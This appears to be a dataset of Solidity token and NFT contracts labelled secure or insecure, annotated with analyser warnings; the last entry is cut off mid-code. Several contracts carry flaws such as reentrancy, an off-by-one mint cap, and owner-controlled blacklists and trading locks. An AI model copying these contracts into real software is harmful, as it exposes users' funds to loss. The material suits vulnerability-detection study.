files
dict
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721A.sol\" as ERC721A;\n\ncontract WWIII is ERC721A {\n\t// WARNING Optimization Issue (immutable-states | ID: 21d580d): WWIII.owner should be immutable \n\t// Recommendation for 21d580d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable owner;\n uint256 public MAX_SUPPLY = 10;\n string public baseURI;\n\n modifier onlyOwner() {\n require(msg.sender == owner);\n _;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 59eb361): WWIII.constructor(string,string)._name shadows ERC721A._name (state variable)\n\t// Recommendation for 59eb361: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 430edab): WWIII.constructor(string,string)._symbol shadows ERC721A._symbol (state variable)\n\t// Recommendation for 430edab: Rename the local variables that shadow another component.\n constructor(\n string memory _name,\n string memory _symbol\n ) payable ERC721A(_name, _symbol) {\n _mint(msg.sender, 1);\n owner = payable(msg.sender);\n }\n\n function mint() public payable {\n require(_totalMinted() <= MAX_SUPPLY);\n _safeMint(msg.sender, 1);\n }\n\n function overrideMaxSupply(uint256 _newMax) public payable onlyOwner {\n MAX_SUPPLY = _newMax;\n }\n\n function setBaseURI(string calldata _newBaseURI) public payable onlyOwner {\n baseURI = _newBaseURI;\n }\n\n function withdrawETH() public payable onlyOwner {\n (bool suc, ) = owner.call{value: address(this).balance}(\"\");\n require(suc);\n }\n\n function _baseURI() internal view virtual override returns (string memory) {\n return baseURI;\n }\n}", "file_name": "solidity_code_2169.sol", "secure": 0, "size_bytes": 1881 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract CustomToken is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _blocklist;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0f4dc3e): CustomToken._maxTokens should be immutable \n\t// Recommendation for 0f4dc3e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _maxTokens;\n\n bool private _paused;\n\n event Blocklist(address indexed account, bool indexed status);\n\n event Paused(address account);\n\n event Unpaused(address account);\n\n event ContractUpgraded(address indexed newImplementation);\n\n constructor() {\n _name = \"Test2024\";\n\n _symbol = \"TTT\";\n\n _maxTokens = 2000000000000000000000000;\n\n _mint(_msgSender(), _maxTokens);\n\n _paused = false;\n }\n\n modifier whenNotPaused() {\n require(!_paused, \"Contract is paused\");\n\n _;\n }\n\n modifier whenPaused() {\n require(_paused, \"Contract is not paused\");\n\n _;\n }\n\n function pause() public onlyOwner whenNotPaused {\n _paused = true;\n\n emit Paused(_msgSender());\n }\n\n function unpause() public onlyOwner whenPaused {\n _paused = false;\n\n emit Unpaused(_msgSender());\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override whenNotPaused returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override whenNotPaused returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override whenNotPaused returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual whenNotPaused returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual whenNotPaused returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function burn(uint256 amount) public virtual onlyOwner whenNotPaused {\n _burn(_msgSender(), amount);\n }\n\n function blockAddress(\n address account\n ) public virtual onlyOwner whenNotPaused {\n _block(account, true);\n }\n\n function unblockAddress(\n address account\n ) public virtual onlyOwner whenNotPaused {\n _block(account, false);\n }\n\n function retrieveFunds() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n function isBlocked(address account) public view virtual returns (bool) {\n return _blocklist[account];\n }\n\n function transferArray(\n address[] calldata recipients,\n uint256[] calldata amounts\n ) public virtual whenNotPaused returns (bool) {\n require(\n recipients.length == amounts.length,\n \"Recipients and amounts length mismatch\"\n );\n\n for (uint256 i = 0; i < recipients.length; i++) {\n _transfer(_msgSender(), recipients[i], amounts[i]);\n }\n\n return true;\n }\n\n function upgradeContract(\n address newImplementation\n ) public virtual onlyOwner {\n emit ContractUpgraded(newImplementation);\n }\n\n function _block(address account, bool status) internal virtual {\n require(account != _msgSender(), \"Cannot block/unblock yourself\");\n\n _blocklist[account] = status;\n\n emit Blocklist(account, status);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual whenNotPaused {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(\n !_blocklist[sender] && !_blocklist[recipient],\n \"Address is blocked\"\n );\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n receive() external payable {}\n}", "file_name": "solidity_code_217.sol", "secure": 1, "size_bytes": 7929 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract CZINU is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n string private constant _name = \"CZINU\";\n string private constant _symbol = \"CZINU\";\n uint8 private constant _decimals = 9;\n\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 10000000 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n\n uint256 private _redisFeeOnBuy = 0;\n uint256 private _taxFeeOnBuy = 5;\n\n uint256 private _redisFeeOnSell = 0;\n uint256 private _taxFeeOnSell = 5;\n\n uint256 private _redisFee = _redisFeeOnSell;\n uint256 private _taxFee = _taxFeeOnSell;\n\n uint256 private _previousredisFee = _redisFee;\n uint256 private _previoustaxFee = _taxFee;\n\n mapping(address => bool) public bots;\n mapping(address => uint256) private cooldown;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7acb0d9): CZINU._developmentAddress should be constant \n\t// Recommendation for 7acb0d9: Add the 'constant' attribute to state variables that never change.\n address payable private _developmentAddress =\n payable(0xF33a2A0Cfe1C3303F30B3493BB281E64bd831440);\n\t// WARNING Optimization Issue (constable-states | ID: 49201fa): CZINU._marketingAddress should be constant \n\t// Recommendation for 49201fa: Add the 'constant' attribute to state variables that never change.\n address payable private _marketingAddress =\n payable(0xF33a2A0Cfe1C3303F30B3493BB281E64bd831440);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 353fbe0): CZINU.uniswapV2Router should be immutable \n\t// Recommendation for 353fbe0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: eac5c89): CZINU.uniswapV2Pair should be immutable \n\t// Recommendation for eac5c89: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = true;\n\n uint256 public _maxTxAmount = 200000 * 10 ** 9;\n uint256 public _maxWalletSize = 300000 * 10 ** 9;\n uint256 public _swapTokensAtAmount = 150 * 10 ** 9;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_developmentAddress] = true;\n _isExcludedFromFee[_marketingAddress] = true;\n\n bots[address(0x66f049111958809841Bbe4b81c034Da2D953AA0c)] = true;\n bots[address(0x000000005736775Feb0C8568e7DEe77222a26880)] = true;\n bots[address(0x34822A742BDE3beF13acabF14244869841f06A73)] = true;\n bots[address(0x69611A66d0CF67e5Ddd1957e6499b5C5A3E44845)] = true;\n bots[address(0x69611A66d0CF67e5Ddd1957e6499b5C5A3E44845)] = true;\n bots[address(0x8484eFcBDa76955463aa12e1d504D7C6C89321F8)] = true;\n bots[address(0xe5265ce4D0a3B191431e1bac056d72b2b9F0Fe44)] = true;\n bots[address(0x33F9Da98C57674B5FC5AE7349E3C732Cf2E6Ce5C)] = true;\n bots[address(0xc59a8E2d2c476BA9122aa4eC19B4c5E2BBAbbC28)] = true;\n bots[address(0x21053Ff2D9Fc37D4DB8687d48bD0b57581c1333D)] = true;\n bots[address(0x4dd6A0D3191A41522B84BC6b65d17f6f5e6a4192)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 213a453): CZINU.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 213a453: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1a52b1f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1a52b1f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ef5023c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ef5023c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1a52b1f\n\t\t// reentrancy-benign | ID: ef5023c\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 1a52b1f\n\t\t// reentrancy-benign | ID: ef5023c\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function removeAllFee() private {\n if (_redisFee == 0 && _taxFee == 0) return;\n\n\t\t// reentrancy-benign | ID: ae79a0d\n _previousredisFee = _redisFee;\n\t\t// reentrancy-benign | ID: ae79a0d\n _previoustaxFee = _taxFee;\n\n\t\t// reentrancy-benign | ID: ae79a0d\n _redisFee = 0;\n\t\t// reentrancy-benign | ID: ae79a0d\n _taxFee = 5;\n }\n\n function restoreAllFee() private {\n\t\t// reentrancy-benign | ID: ae79a0d\n _redisFee = _previousredisFee;\n\t\t// reentrancy-benign | ID: ae79a0d\n _taxFee = _previoustaxFee;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a0d85a5): CZINU._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a0d85a5: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: ef5023c\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 1a52b1f\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c3d44d3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c3d44d3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ae79a0d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ae79a0d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ea70105): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ea70105: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n if (!tradingOpen) {\n require(\n from == owner(),\n \"TOKEN: This account cannot send tokens until trading is enabled\"\n );\n }\n\n require(amount <= _maxTxAmount, \"TOKEN: Max Transaction Limit\");\n require(\n !bots[from] && !bots[to],\n \"TOKEN: Your account is blacklisted!\"\n );\n\n if (to != uniswapV2Pair) {\n require(\n balanceOf(to) + amount < _maxWalletSize,\n \"TOKEN: Balance exceeds wallet size!\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n bool canSwap = contractTokenBalance >= _swapTokensAtAmount;\n\n if (contractTokenBalance >= _maxTxAmount) {\n contractTokenBalance = _maxTxAmount;\n }\n\n if (\n canSwap &&\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n\t\t\t\t// reentrancy-events | ID: c3d44d3\n\t\t\t\t// reentrancy-benign | ID: ae79a0d\n\t\t\t\t// reentrancy-eth | ID: ea70105\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: c3d44d3\n\t\t\t\t\t// reentrancy-eth | ID: ea70105\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n bool takeFee = true;\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n } else {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: ae79a0d\n _redisFee = _redisFeeOnBuy;\n\t\t\t\t// reentrancy-benign | ID: ae79a0d\n _taxFee = _taxFeeOnBuy;\n }\n\n if (to == uniswapV2Pair && from != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: ae79a0d\n _redisFee = _redisFeeOnSell;\n\t\t\t\t// reentrancy-benign | ID: ae79a0d\n _taxFee = _taxFeeOnSell;\n }\n }\n\n\t\t// reentrancy-events | ID: c3d44d3\n\t\t// reentrancy-benign | ID: ae79a0d\n\t\t// reentrancy-eth | ID: ea70105\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 1a52b1f\n\t\t// reentrancy-events | ID: c3d44d3\n\t\t// reentrancy-benign | ID: ef5023c\n\t\t// reentrancy-benign | ID: ae79a0d\n\t\t// reentrancy-eth | ID: ea70105\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 1a52b1f\n\t\t// reentrancy-events | ID: c3d44d3\n\t\t// reentrancy-eth | ID: ea70105\n _developmentAddress.transfer(amount.div(2));\n\t\t// reentrancy-events | ID: 1a52b1f\n\t\t// reentrancy-events | ID: c3d44d3\n\t\t// reentrancy-eth | ID: ea70105\n _marketingAddress.transfer(amount.div(2));\n }\n\n function setTrading(bool _tradingOpen) public onlyOwner {\n tradingOpen = _tradingOpen;\n }\n\n function manualswap() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function blockBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function unblockBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) removeAllFee();\n _transferStandard(sender, recipient, amount);\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: ea70105\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: ea70105\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: c3d44d3\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: ea70105\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: ea70105\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: ae79a0d\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _redisFee,\n _taxFee\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 redisFee,\n uint256 taxFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(redisFee).div(100);\n uint256 tTeam = tAmount.mul(taxFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n\n return (rSupply, tSupply);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 750a327): Missing events for critical arithmetic parameters.\n\t// Recommendation for 750a327: Emit an event for critical parameter changes.\n function setFee(\n uint256 redisFeeOnBuy,\n uint256 redisFeeOnSell,\n uint256 taxFeeOnBuy,\n uint256 taxFeeOnSell\n ) public onlyOwner {\n\t\t// events-maths | ID: 750a327\n _redisFeeOnBuy = redisFeeOnBuy;\n\t\t// events-maths | ID: 750a327\n _redisFeeOnSell = redisFeeOnSell;\n\n\t\t// events-maths | ID: 750a327\n _taxFeeOnBuy = taxFeeOnBuy;\n\t\t// events-maths | ID: 750a327\n _taxFeeOnSell = taxFeeOnSell;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 6321cc7): CZINU.setMinSwapTokensThreshold(uint256) should emit an event for _swapTokensAtAmount = swapTokensAtAmount \n\t// Recommendation for 6321cc7: Emit an event for critical parameter changes.\n function setMinSwapTokensThreshold(\n uint256 swapTokensAtAmount\n ) public onlyOwner {\n\t\t// events-maths | ID: 6321cc7\n _swapTokensAtAmount = swapTokensAtAmount;\n }\n\n function toggleSwap(bool _swapEnabled) public onlyOwner {\n swapEnabled = _swapEnabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: d7fc527): CZINU.setMaxTxnAmount(uint256) should emit an event for _maxTxAmount = maxTxAmount \n\t// Recommendation for d7fc527: Emit an event for critical parameter changes.\n function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {\n\t\t// events-maths | ID: d7fc527\n _maxTxAmount = maxTxAmount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 1fe63f6): CZINU.setMaxWalletSize(uint256) should emit an event for _maxWalletSize = maxWalletSize \n\t// Recommendation for 1fe63f6: Emit an event for critical parameter changes.\n function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {\n\t\t// events-maths | ID: 1fe63f6\n _maxWalletSize = maxWalletSize;\n }\n\n function excludeMultipleAccountsFromFees(\n address[] calldata accounts,\n bool excluded\n ) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _isExcludedFromFee[accounts[i]] = excluded;\n }\n }\n}", "file_name": "solidity_code_2170.sol", "secure": 0, "size_bytes": 21012 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\" as IERC2981;\nimport \"@openzeppelin/contracts/utils/introspection/ERC165.sol\" as ERC165;\n\nabstract contract ERC2981 is IERC2981, ERC165 {\n struct RoyaltyInfo {\n address receiver;\n uint96 royaltyFraction;\n }\n\n RoyaltyInfo private _defaultRoyaltyInfo;\n mapping(uint256 => RoyaltyInfo) private _tokenRoyaltyInfo;\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(IERC165, ERC165) returns (bool) {\n return\n interfaceId == type(IERC2981).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function royaltyInfo(\n uint256 _tokenId,\n uint256 _salePrice\n ) public view virtual override returns (address, uint256) {\n RoyaltyInfo memory royalty = _tokenRoyaltyInfo[_tokenId];\n\n if (royalty.receiver == address(0)) {\n royalty = _defaultRoyaltyInfo;\n }\n\n uint256 royaltyAmount = (_salePrice * royalty.royaltyFraction) /\n _feeDenominator();\n\n return (royalty.receiver, royaltyAmount);\n }\n\n function _feeDenominator() internal pure virtual returns (uint96) {\n return 1000;\n }\n\n function _setDefaultRoyalty(\n address receiver,\n uint96 feeNumerator\n ) internal virtual {\n require(\n feeNumerator <= _feeDenominator(),\n \"ERC2981: royalty fee will exceed salePrice\"\n );\n require(receiver != address(0), \"ERC2981: invalid receiver\");\n\n _defaultRoyaltyInfo = RoyaltyInfo(receiver, feeNumerator);\n }\n\n function _deleteDefaultRoyalty() internal virtual {\n delete _defaultRoyaltyInfo;\n }\n\n function _setTokenRoyalty(\n uint256 tokenId,\n address receiver,\n uint96 feeNumerator\n ) internal virtual {\n require(\n feeNumerator <= _feeDenominator(),\n \"ERC2981: royalty fee will exceed salePrice\"\n );\n require(receiver != address(0), \"ERC2981: Invalid parameters\");\n\n _tokenRoyaltyInfo[tokenId] = RoyaltyInfo(receiver, feeNumerator);\n }\n\n function _resetTokenRoyalty(uint256 tokenId) internal virtual {\n delete _tokenRoyaltyInfo[tokenId];\n }\n}", "file_name": "solidity_code_2171.sol", "secure": 1, "size_bytes": 2385 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract OperatorFilterer {\n address internal constant _DEFAULT_SUBSCRIPTION =\n 0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6;\n\n address internal constant _OPERATOR_FILTER_REGISTRY =\n 0x000000000000AAeB6D7670E522A718067333cd4E;\n\n function _registerForOperatorFiltering() internal virtual {\n _registerForOperatorFiltering(_DEFAULT_SUBSCRIPTION, true);\n }\n\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: 64ca7e9): OperatorFilterer._registerForOperatorFiltering(address,bool).functionSelector__registerForOperatorFiltering_asm_0 is written in both functionSelector__registerForOperatorFiltering_asm_0 = 0x4420e486 functionSelector__registerForOperatorFiltering_asm_0 = 0xa0af2903\n\t// Recommendation for 64ca7e9: Fix or remove the writes.\n function _registerForOperatorFiltering(\n address subscriptionOrRegistrantToCopy,\n bool subscribe\n ) internal virtual {\n assembly {\n let functionSelector := 0x7d3e3dbe\n\n subscriptionOrRegistrantToCopy := shr(\n 96,\n shl(96, subscriptionOrRegistrantToCopy)\n )\n\n for {} iszero(subscribe) {} {\n if iszero(subscriptionOrRegistrantToCopy) {\n\t\t\t\t\t// write-after-write | ID: 64ca7e9\n functionSelector := 0x4420e486\n break\n }\n\t\t\t\t// write-after-write | ID: 64ca7e9\n functionSelector := 0xa0af2903\n break\n }\n\n mstore(0x00, shl(224, functionSelector))\n\n mstore(0x04, address())\n\n mstore(0x24, subscriptionOrRegistrantToCopy)\n\n if iszero(\n call(\n gas(),\n _OPERATOR_FILTER_REGISTRY,\n 0,\n 0x00,\n 0x44,\n 0x00,\n 0x04\n )\n ) {\n if 